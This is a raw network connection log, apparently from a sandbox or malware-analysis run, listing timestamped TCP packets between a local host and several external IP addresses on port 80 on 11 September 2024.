Sep 11, 2024 16:22:16.721626043 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.721653938 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.806447029 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.806657076 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.806868076 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.806929111 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.811964035 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.812055111 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.812129021 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.812141895 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.812153101 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.812165022 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.812176943 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.812186956 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.812191010 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.812261105 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.812278986 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.812293053 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.812328100 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.812362909 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.812462091 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.812474966 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.812506914 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.812530994 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.816879988 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.816960096 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.836755991 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.836777925 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.836790085 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.836805105 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.836865902 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.836890936 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.836911917 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.836955070 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.836975098 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.836992025 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.837023020 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.837044954 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.837084055 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.837097883 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.837109089 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.837127924 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.837166071 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.837325096 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.837383986 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.837393045 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.837445974 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.837480068 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.837536097 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.837553978 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.837558985 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.837568045 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.837580919 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.837594986 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.837594986 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.837619066 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.837928057 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.838001013 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.838021994 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.838063955 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.838174105 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.838186026 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.838206053 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.838217974 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.838232040 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.838242054 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.838244915 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.838257074 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.838346004 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.838682890 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.838695049 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.838706017 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.838733912 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.838758945 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.838941097 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.838953018 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.838965893 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.838990927 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.839029074 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.839042902 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.839056015 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.839070082 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.839101076 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.839101076 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.839104891 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.839118004 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.839178085 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.839380026 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:16.839436054 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:16.839597940 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:16.839812994 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.839865923 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.839879990 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.839907885 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.839907885 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.839931011 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.839943886 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.839955091 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.839967012 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.839972973 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.839972973 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.839978933 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.839993000 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.840007067 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.840044022 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.843022108 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.843034029 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.843044996 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.843138933 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.843151093 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.843163013 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.843252897 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.843252897 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.844837904 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:16.845593929 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.845604897 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.845617056 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.845655918 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.845700026 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.845922947 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.845936060 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.845948935 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.845961094 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.845978975 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.846023083 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.846237898 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.846254110 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.846265078 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.846276045 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.846283913 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.846327066 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.846550941 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.846564054 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.846575022 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.846600056 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.846657038 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.846729994 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.846741915 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.846779108 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.847202063 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.847213984 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.847224951 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.847237110 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.847255945 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.847285986 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.847347975 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.847361088 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.847373009 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.847419977 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.847436905 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.847939014 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.847951889 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.847964048 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.847975969 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.847986937 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.847995996 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.848000050 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.848015070 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.848022938 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.848023891 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.848048925 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.848073959 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.848577976 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.848588943 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.848601103 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.848629951 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.848673105 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.848743916 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.848756075 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.848767996 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.848779917 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.848797083 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.848829985 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.848866940 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.848916054 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.849863052 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.849874973 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.849885941 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.849898100 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.849911928 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.849917889 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.849956989 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.849997997 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.850016117 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.850025892 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.850042105 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.850080967 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.857139111 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.857203960 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.857371092 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.857426882 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.885337114 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:16.885559082 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:16.885993004 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:16.890829086 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:16.893747091 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.893760920 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.893771887 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.893821001 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.893824100 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.893877029 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.932810068 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.932847023 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.932991028 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.932991028 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.938015938 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.938030005 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.938043118 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.938060999 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.938072920 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.938085079 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.938092947 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.938148022 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.938463926 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.938517094 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.938615084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.938627005 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.938638926 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.938649893 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.938678026 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.938685894 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.938689947 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.938724995 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.938750029 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.939599991 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.939616919 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.939629078 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.939642906 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.939655066 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.939659119 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.939668894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.939682961 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.939726114 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.940526009 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.940579891 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.940654993 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.940710068 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.162950039 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163031101 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163034916 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.163043976 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163057089 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163070917 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163083076 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163094997 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163105011 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.163105011 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.163109064 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163161039 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.163165092 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163177013 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163193941 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163204908 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163206100 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.163218021 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163230896 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163242102 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163252115 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163256884 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.163264990 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163275957 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.163276911 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163290024 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163305044 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.163327932 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.163351059 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.163564920 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163577080 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163589001 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163600922 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163613081 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163619995 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.163624048 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163635015 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163645983 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163656950 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163662910 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.163669109 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163680077 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163691998 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163700104 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.163700104 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.163703918 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163716078 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163727045 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163737059 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.163738966 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163752079 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163763046 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163786888 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.163808107 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.163923025 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163933992 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163944960 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163955927 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163968086 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163973093 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.163980961 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163995028 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.163997889 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.164006948 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.164019108 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.164030075 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.164036036 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.164036036 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.164041996 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.164052963 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.164096117 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.164123058 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.164287090 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164299965 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164309025 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164320946 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164333105 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164344072 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164344072 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.164355993 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164371014 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164371967 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.164381027 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.164382935 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164397001 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164401054 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.164408922 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164427042 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164437056 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.164438009 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164449930 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164460897 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164469004 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.164473057 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164484024 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164491892 CEST	49738	80	192.168.2.4	176.113.115.187
